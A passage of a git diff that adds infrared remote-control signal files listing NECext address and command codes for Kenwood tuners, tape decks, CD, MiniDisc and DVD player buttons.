+command: 82 00 00 00 +# +name: TUNER/CD_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: TUNER/CD_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: TUNER/CD_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: TUNER/CD_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: TUNER/CD_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: TUNER/CD_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: TUNER/CD_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8A 00 00 00 +# +name: TUNER_P.CALL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: TUNER_P.CALL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: TUNER_P.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: VOL_CONTROL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_CONTROL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOL_CONTROL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_CONTROL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: TUNER_DIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9E 00 00 00 +# +name: EQ.M.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C5 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: TAPEA_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPEA_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: TAPEA_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPEA_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: TAPEB_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPEB_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TAPEB_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPEB_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir new file mode 100644 index 000000000..d5d406a34 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: DOLBY_PRO_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: PRESENCE_LEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 04 00 00 00 +# +name: PRESENCE_LEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 05 00 00 00 +# +name: DOLBY_3_STEREO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 0E 00 00 00 +# +name: DSP_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 85 00 00 00 +# +name: VISUAL_FIX +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 8F 00 00 00 +# +name: CHANNEL_LEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9E 00 00 00 +# +name: CHANNEL_LEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9F 00 00 00 +# +name: THX_CINEMA +type: parsed +protocol: NECext +address: B8 01 00 00 +command: C2 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir new file mode 100644 index 000000000..cf7c3e939 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: ...REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: ...FWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: ...DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0B 00 00 00 +# +name: .........10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: .........0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: TUNER/CD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: .........2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: .........3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: .........4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: .........5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: .........6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: .........7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: .........8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: .........9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: ......DOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: .......TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: SELECT_CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: .......VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: .......TAPE_A +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: .......TAPE_B +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: .......VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: ......UP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: ......DIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C6 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C7 00 00 00 +# +name: ...STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_PLAY/PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: ...SEARCH_REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: ...SEARCH_FWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: -------REV_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPE_A_FWD_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: -------REWIND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: -------FFWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: -------PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: -------STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: -------RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: .......REV_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPE_B_FWD_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: .......REWIND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: .......FFWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: .......PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: .......STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: .......RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir new file mode 100644 index 000000000..50a94d71b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: CD_FFWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: SOURCEDIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 54 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE2MONITOR +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_PLAYPAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_SKIPBACK +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_SKIPFORWARD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: TA_LEFT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TA_RIGHT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TA_REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TA_FFWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TA_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TB_LEFT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TB_RIGHT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TB_REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TB_FFWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TB_PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TB_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TB_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir new file mode 100644 index 000000000..9947ef824 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 09 00 00 00 +# +name: (0)OpenClose +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 10 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 13 00 00 00 +# +name: SkipDown +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: SkipUp +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 19 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: P.Mode +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: ABRepeat +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 43 00 00 00 +# +name: (1)Memory +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5F 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: (7)TextDisp +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 96 00 00 00 +# +name: (8)AllInfo +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 97 00 00 00 +# +name: (9)TitleSearch +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 98 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C0 00 00 00 +# +name: (3)Title +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: (4)Angle +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C3 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C4 00 00 00 +# +name: (6)Subtitle +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C5 00 00 00 +# +name: (5)Audio +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C9 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D3 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D6 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D7 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D8 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D9 00 00 00 +# +name: (2)VirtualSurr +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir new file mode 100644 index 000000000..fa6818759 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 10 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 16 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 17 00 00 00 +# +name: Time_Display +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 1F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 50 00 00 00 +# +name: Auto_Mark +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 52 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 54 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 55 00 00 00 +# +name: Synchro_Rec +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 56 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 57 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 9A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 9D 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C4 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C5 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C8 00 00 00 +# +name: Track_Edit +type: parsed +protocol: NECext +address: B6 04 00 00 +command: CA 00 00 00 +# +name: Programm +type: parsed +protocol: NECext +address: B6 04 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir new file mode 100644 index 000000000..77ff57633 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 01 00 00 00 +# +name: display_mode +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 02 00 00 00 +# +name: ^2 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 0A 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 0B 00 00 00 +# +name: md_stop +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 11 00 00 00 +# +name: q.m.clear +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 12 00 00 00 +# +name: md_move_backward +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 14 00 00 00 +# +name: md_move_forward +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 15 00 00 00 +# +name: md_backward +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 16 00 00 00 +# +name: md_forward +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 17 00 00 00 +# +name: time_display +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 19 00 00 00 +# +name: Clear_Delete +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 1A 00 00 00 +# +name: check_space +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 1B 00 00 00 +# +name: p.mode_priority +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 1F 00 00 00 +# +name: q.m.check_record +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 50 00 00 00 +# +name: auto/manual +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 52 00 00 00 +# +name: o.t.e. +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 53 00 00 00 +# +name: md_play +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 9A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B6 04 00 00 +command: 9D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C5 00 00 00 +# +name: titlesearch +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C6 00 00 00 +# +name: sez +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C7 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C8 00 00 00 +# +name: quickmove +type: parsed +protocol: NECext +address: B6 04 00 00 +command: C9 00 00 00 +# +name: trackedit +type: parsed +protocol: NECext +address: B6 04 00 00 +command: CA 00 00 00 +# +name: title_input +type: parsed +protocol: NECext +address: B6 04 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir new file mode 100644 index 000000000..7547d86c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# 